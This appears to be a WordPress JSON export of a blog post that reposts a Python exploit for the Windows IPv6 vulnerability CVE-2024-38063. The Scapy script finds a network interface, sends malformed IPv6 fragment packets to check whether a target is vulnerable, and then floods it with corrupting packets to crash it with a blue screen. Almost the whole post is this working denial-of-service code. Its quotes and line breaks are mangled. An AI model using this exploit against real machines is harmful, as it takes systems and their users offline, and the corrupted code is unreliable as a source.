#!\/usr\/bin\/env python3
# -*- coding: utf-8 -*-<\/p>\n
# Exploit Title: Windows IPv6 CVE-2024-38063 Checker and Denial-Of-Service
# Date: 2024-08-07
# Exploit Author: Photubias
# Vendor Homepage: https:\/\/microsoft.com
# Vendor Advisory: [1] https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2024-38063
# Version: Windows 10, 11 <10.0.26100.1457 and Server 2016-2019-2022 <10.0.17763.6189
# Tested on: Windows 11 23H2 and Windows Server 2022
# CVE: CVE-2024-38063<\/p>\n
import os, subprocess, re, time, sys<\/p>\n
## Variables
sDstIP = ‘fe80::78b7:6283:49ad:c565’ ## Placeholder
if len(sys.argv) > 1: sDstIP = sys.argv[1] ## Please provide an argument
sDstMAC = ’00:0C:29:55:E1:C8′ ## Not required, will try to get the MAC via Neighbor Discovery
iBatches = 20
iCorruptions = 20 ## How many times do we want to corrupt the tcpip.sys memory per batch<\/p>\n
try:
print(‘— Loading Scapy, might take some time …’)
from scapy.config import conf
conf.ipv6_enabled = False
import scapy.all as scapy
scapy.conf.verb = 0
except:
print(‘Error while loading scapy, please run “pip install scapy”‘)
exit(1)<\/p>\n
import logging
logging.getLogger(‘scapy.runtime’).setLevel(logging.ERROR)<\/p>\n
def selectInterface(): #adapter[] = npfdevice, ip, mac
def getAllInterfaces():
lstInterfaces=[]if os.name == ‘nt’:
proc = subprocess.Popen(‘getmac \/NH \/V \/FO csv | FINDSTR \/V \/I disconnected’, shell=True, stdout=subprocess.PIPE)
for bInterface in proc.stdout.readlines():
lstInt = bInterface.split(b’,’)
sAdapter = lstInt[0].strip(b'”‘).decode()
sDevicename = lstInt[1].strip(b'”‘).decode()
sMAC = lstInt[2].strip(b'”‘).decode().lower().replace(‘-‘, ‘:’)
sWinguID = lstInt[3].strip().strip(b'”‘).decode()[-38:]proc = subprocess.Popen(‘netsh int ipv6 show addr “{}” | FINDSTR \/I Address’.format(sAdapter), shell=True, stdout=subprocess.PIPE)
try: sIP = re.findall(r'[\\w:]+:+[\\w:]+’, proc.stdout.readlines()[0].strip().decode())[0]except: sIP = ”
if len(sMAC) == 17: lstInterfaces.append([sAdapter, sIP, sMAC, sDevicename, sWinguID]) # When no or bad MAC address (e.g. PPP adapter), do not add
else:
proc = subprocess.Popen(‘for i in $(ip address | grep -v “lo” | grep “default” | cut -d”:” -f2 | cut -d” ” -f2);do echo $i $(ip address show dev $i | grep “inet6 ” | cut -d” ” -f6 | cut -d”\/” -f1) $(ip address show dev $i | grep “ether” | cut -d” ” -f6);done’, shell=True, stdout=subprocess.PIPE)
for bInterface in proc.stdout.readlines():
lstInt = bInterface.strip().split(b’ ‘)
try:
if len(lstInt[2]) == 17: lstInterfaces.append([lstInt[0].decode(), lstInt[1].decode(), lstInt[2].decode(), ”, ”])
except: pass
return lstInterfaces<\/p>\n
lstInterfaces = getAllInterfaces()
if len(lstInterfaces) > 1:
i = 1
for lstInt in lstInterfaces: #array of arrays: adapter, ip, mac, windows devicename, windows guID
print(‘[{}] {} has {} ({})’.format(i, lstInt[2], lstInt[1], lstInt[0]))
i += 1
#sAnswer = input(‘[?] Please select the adapter [1]: ‘)
sAnswer=’3′
else: sAnswer = None
if not sAnswer or sAnswer == ” or not sAnswer.isdigit() or int(sAnswer) >= i: sAnswer = 1
iAnswer = int(sAnswer) – 1
sNPF = lstInterfaces[iAnswer][0]sIP = lstInterfaces[iAnswer][1]sMAC = lstInterfaces[iAnswer][2]if os.name == ‘nt’: sNPF = r’\\Device\\NPF_’ + lstInterfaces[iAnswer][4]return (sNPF, sIP, sMAC, lstInterfaces[iAnswer][3])<\/p>\n
def get_packets(iID, sDstIPv6, sDstMac=None):
iFragID = 0xbedead00 + iID
oPacket1 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) \/ scapy.IPv6ExtHdrDestOpt(options=[scapy.PadN(otype=0x81, optdata=’bad’)])
oPacket2 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) \/ scapy.IPv6ExtHdrFragment(id=iFragID, m = 1, offset = 0) \/ ‘notalive’
oPacket3 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) \/ scapy.IPv6ExtHdrFragment(id=iFragID, m = 0, offset = 1)
if sDstMac: ## Should always be this, it seems sending to ‘ff:ff:ff:ff:ff:ff’ does not work
oPacket1 = scapy.Ether(dst=sDstMac) \/ oPacket1
oPacket2 = scapy.Ether(dst=sDstMac) \/ oPacket2
oPacket3 = scapy.Ether(dst=sDstMac) \/ oPacket3
return [oPacket1, oPacket2, oPacket3]\n
def doIPv6ND(sDstIP, sInt): ## Try to get a MAC address via IPv6 Neighbour Sollicitation
sMACResp = None
oNeighborSollicitation = scapy.IPv6(dst=sDstIP) \/ scapy.ICMPv6ND_NS(tgt=sDstIP) \/ scapy.ICMPv6NDOptSrcLLAddr(lladdr=’ff:ff:ff:ff:ff:ff’)
oResponse = scapy.sr1(oNeighborSollicitation, timeout=5, iface=sInt)
if oResponse and scapy.ICMPv6NDOptDstLLAddr in oResponse:
sMACResp = oResponse[scapy.ICMPv6NDOptDstLLAddr].lladdr
return sMACResp<\/p>\n
lstInt = selectInterface() ## NPF, IPv6, MAC, Name<\/p>\n
sMAC = doIPv6ND(sDstIP, lstInt[0])
if sMAC:
print(f'[+] Target {sDstIP} is reachable, got MAC Address {sMAC}’)
sDstMAC = sMAC
elif sDstMAC != ”:
print(‘[-] Target not responding to Neighbor Sollicitation Packets, using the provided MAC {}’.format(sDstMAC))
else:
print(‘[-] Without a MAC address, this exploit will probably not work’)<\/p>\n
lstPacketsToSend = []for i in range(iBatches):
for j in range(iCorruptions):
lstPacketsToSend += get_packets(j, sDstIP, sDstMAC) + get_packets(j, sDstIP, sDstMAC)<\/p>\n
## ‘send’ is Layer3 (let scapy figure out the MAC address), ‘sendp’ is L2 (MAC address is filled in, much better)
print(‘[i] Verifying vulnerability against IPv6 address {}’.format(sDstIP))
## Verification first: “ICMPv6ParamProblem”
lstResp = scapy.srp1(lstPacketsToSend[0], iface=lstInt[0], timeout=5)
if lstResp and scapy.IPv6 in lstResp[0] and scapy.ICMPv6ParamProblem in lstResp[0]:
print(‘[+] Yes, {} is vulnerable and exploitable for CVE-2024-38063’.format(sDstIP))
else:
input(‘[-] Not vulnerable or firewall is enabled. Please verify and rerun or press enter to continue’)
print(‘[i] Waiting 10 seconds to let the target cool down (more is better)’)
time.sleep(10)
input(‘[?] OK, continue to execute the Denial Of Service (BSOD)? Press Ctrl+C to cancel now’)
########## Exploit
print(‘[+] Sending {} packets now via interface {} {}’.format(len(lstPacketsToSend), lstInt[0], lstInt[3]))
scapy.conf.verb = 1
scapy.sendp(lstPacketsToSend, iface=lstInt[0])
print(‘[+] All packets are sent, now it takes *exactly* 60 seconds for the target to crash’)<\/p>\n","protected":false},"excerpt":{"rendered":"
#!\/usr\/bin\/env python3# -*- coding: utf-8 -*- # Exploit Title: Windows IPv6 CVE-2024-38063 Checker and Denial-Of-Service# Date: 2024-08-07# Exploit Author: Photubias# Vendor Homepage: https:\/\/microsoft.com# Vendor Advisory: [1] https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2024-38063# Version: Windows 10, 11 <10.0.26100.1457 and Server 2016-2019-2022 <10.0.17763.6189# Tested on: Windows 11 23H2 and Windows Server 2022# CVE: CVE-2024-38063 import os, subprocess, re, time, sys ## VariablessDstIP …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59232","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59232"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59232\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}